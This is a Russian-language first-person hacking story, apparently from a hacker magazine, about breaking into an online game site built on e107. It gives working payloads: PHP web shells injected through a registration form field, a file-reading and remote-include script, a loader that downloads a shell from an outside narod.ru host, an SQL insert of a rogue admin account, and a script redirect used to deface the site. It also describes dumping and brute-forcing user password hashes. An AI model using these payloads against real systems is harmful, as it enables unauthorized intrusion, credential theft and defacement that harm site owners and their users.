Как-то вечером, (ну это для меня вечер =), было
где-то 2:30 ночи )) ) постучал ко мне f1refox, говорит я тут игрушку одну онлайновскую расковырял, но
добить не могу… В общем там было вот что: для регистрации в форме указывается логин, пароль etc.. и после успешной регистрации создается файл логин_ch.php
с содержимым которое указано в форме в
качестве параметра value для поля sample…
Выглядела форма так:

— reg_form.html —
<form action=»http://game.site.com/reg.php» method=»post»>
<input type=»hidden» name=»x» value=1>
логин: <input type=»text» name=»login» value=»»>
пароль:<input type=»password» name=»pas1″>
подтверждение пароля:<input type=»password» name=»pas2″>
<td><input type=»radio» checked=1 name=»sample» value=»текст_для_запси_в_файл»>
<input type=»submit» value=»зарегистрировать пользователя» name=»reg»>
</form>
————————

Именно в input’e с name=sample и содержится тот текст, который будет записан в файл логин_ch.php! Ну вы уже наверное догадались, что можно с этого
поиметь. Не долго думая я на накатал скрипт: <? system($_GET[cmd]); ?> который был вставлен в value поля sample нашей формы…
Конечно все символы < и > были заменены на < и > соответственно.
Дальше я зарегался с логином superhacker => создался файл superhacker_ch.php с содержимым <? system($_GET[cmd]); ?>, я набил в адресной строке браузера путь до файла и как я
и предполагал мне был выдан результат:

Warning: system() [function.system]: Cannot execute a blank command in /path/to/script/superhacker_ch.php on line
2

Дальше я набрал /superhacker_ch.php?cmd=id и крупно обломался!
Результата не было никакого… Только пустые строки…
Я набивал разные комманды, пробовал заливать другие скрипты с ф-иями passthru()
и exec(), но все равно ничего не выходило… SAFE MODE был включен.
После часа экспериментов со скриптом я огорчился — все кавычки в тексте, который записывался в файл, экранировались
и скрипты выдавали ошибки в синтаксисе.
Отсюда исчезли очень многие возможности.
Ковырять другие скрипты не хотелось и я пошел спать,
время было уже около 5 утра.

Проснулся я рано и сразу появилась идея, я написал скрипт:

<xmp> <? if(!empty($_GET[file])) readfile($_GET[file]); ?> </xmp>

Как видите это обычный скрипт для чтения файлов.
Прочитав несколько файлов я надыбал пути к системным директориям движка (двиг там стоял e107 ), но вручную брутить имена файлов не хотелось
и я на некоторое время забил на это дело и решил пойти позавтракать…
И тут меня осенило! Скрипт с include-багом! Я накатал скрипт: <? if(!empty($_GET[inc])) include($_GET[inc]); ?> и решил проверить.
Боялся того, что из-за SAFE-MODE будет нельзя инклудить файлы с других серверов, но нет
— это было возможно! Я накатал простенький скрипт, который бы загружал шелл с другого сервера и сохранял его в текущую диру с именем out.php, залил его на народовский фтп:

<?
$file = fopen(«http://jenizix.narod.ru/shell.php»,»r»);
$out = fopen(«out.php»,»w»);
while(!feof($file))
fputs($out,fgets($file));

fclose($file);
fclose($out);
?>

Теперь осталось набрать в браузере
http://site.com/inc_script_ch.php&inc= http://jenizix.narod.ru/load_shell.php и шелл был залит на сервер.

Побродив по каталогам на сервере я нашел файл конфигурации e107 для
MySQL. Выдернул оттуда логин, пароль и имя базы, задампил таблицу e107_user с
данными о юзерах. Создав файл с логинами и хешами паролей я поставил их на брут, а тем временем вставил в таблицу нового юзера с
админскими правами, вот таким запросом: 

INSERT INTO e107_user (`login`, `password`, `user_admin`, `user_perms`) VALUES (‘Jenizix’, ‘MD5_хеш_пароля’, ‘1’, ‘0’)

Запрос выполнился успешно и в таблице появилась новая запись.
Админ-панель находилась по адресу http://site.com/e107_admin/admin.php и
я успешно туда залогинился! Все! Теперь админка у меня в руках!
На серваке крутилась FreeBSD 5.3-RELEASE-p5, но права были никакими,
поэтому мы решили просто дефейснуть сайт,
благо он был не сильно раскрученный…
Количество пользователей было 129. 

Как я уже сказал — права были никакими (((, поэтому /index.php нельзя было редактировать.
На сервере можно было писать только в директорию, где создавались файлы юзеров:
http://site.com/game/chel/, поэтому было решено залить туда файл дефейса, а в админке изменить поле title на <script>location.href=’http://site.com/game/chel/deface.html’;</script> — редирект на файл дефейса.
За это время у меня сбрутилось больше половины хешей
— вот тут я разочаровался в русских людях.
Думают поставив пароль qwerty или 123456 они обезопасят себя ))))
И самое обидное, что такие пароли были там почти у всех, даже у главного админа пароль был —
12345. Я чуть от смеха не упал… На том мы оставили сервер в покое.

Оставить мнение

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…